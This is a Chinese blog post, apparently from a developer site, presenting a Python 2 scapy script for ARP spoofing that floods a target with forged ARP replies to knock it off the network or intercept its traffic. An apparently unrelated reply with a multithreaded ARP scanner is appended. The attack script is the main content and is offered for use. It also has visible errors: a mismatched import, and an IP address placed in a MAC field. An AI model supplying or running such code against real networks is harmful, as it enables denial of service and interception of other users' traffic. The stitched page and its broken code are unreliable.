pythonarp攻击_python通过scapy模块进行arp断网攻击

前言:

想实现像arpsoof一样的工具

arp断网攻击原理:

通过伪造IP地址与MAC地址实现ARP欺骗,在网络发送大量ARP通信量。攻击者

只要持续不断发送arp包就能造成中间人攻击或者断网攻击。

0x01:

准备工作

Linux环境下:(windows环境下各种错误,其中有个错误是缺少windows.dll至今无法解决)

有scapy模块

如果没有进行安装

py2安装方法

pip install scapy

py3安装方法

pip install scapy3

我们要用到scapy模块里的

from scapy.all import (

ARP,

Ether,

sendp

)

from scapy.l2 import getmacip

Ether是构造网络数据包

ARP进行ARP攻击

sendp进行发包

代码如下:

import os

from scapy.l2 import getmacip

from scapy.all import (

ARP,

Ether,

sendp

)

ifconfig=os.system('ifconfig')

print ifconfig

gmac=raw_input('Please enter gateway IP:')

liusheng=raw_input('Please enter your IP:')

liusrc=raw_input('Please enter target IP:')

try:

tg=getmacbyip(liusrc)

print tg

except Exception , f:

print '[-]{}'.format(f)

exit()

def arpspoof():

try:

eth=Ether()

arp=ARP(

op="is-at",#ARP响应

hwsrc=gmac,#网关mac

psrc=liusheng,#网关IP

hwdst=tg,#目标Mac

pdst=liusrc#目标IP

)

print ((eth/arp).show())

sendp(eth/arp,inter=2,loop=1)

except Exception ,g:

print '[-]{}'.format(g)

exit()

arpspoof()

运行截图

1174022-20180128000643772-1706275481.png

效果图

1174022-20180128000713490-792832103.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
好的,你的问题是关于Python3利用Scapy局域网实现自动多线程ARP扫描功能。 首先,你需要安装Scapy库,可以使用以下命令: ``` pip install scapy ``` 然后,你可以使用以下Python代码实现ARP扫描功能: ```python from scapy.all import * from threading import Thread def arp_scan(ip): arp = ARP(pdst=ip) ether = Ether(dst="ff:ff:ff:ff:ff:ff") packet = ether/arp result = srp(packet, timeout=3, verbose=0)[0] if result: return {'IP': result[0][1].psrc, 'MAC': result[0][1].hwsrc} else: return {'IP': ip, 'MAC': 'N/A'} def scan_network(target_ip, threads): ips = [target_ip + str(i) for i in range(1, 255)] print("Scanning in progress...") scan_results = [] for ip in ips: t = Thread(target=lambda result_list: result_list.append(arp_scan(ip)), args=(scan_results,)) t.start() if threading.activeCount() > threads: t.join() print("Scan complete.") return scan_results if __name__ == '__main__': target_ip = '192.168.1.' threads = 50 results = scan_network(target_ip, threads) for result in results: print(result['IP'], result['MAC']) ``` 在这个示例中,我们定义了两个函数,arp_scan()和scan_network()。arp_scan()函数用于扫描单个IP地址,并返回IP地址和MAC地址。scan_network()函数用于扫描整个网络,并返回所有扫描结果。 我们还使用了Python的多线程功能来加快扫描速度,并限制了线程数以避免过度消耗系统资源。 最后,我们使用主函数来设置目标IP地址和线程数,然后调用scan_network()函数来执行扫描,并打印扫描结果。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值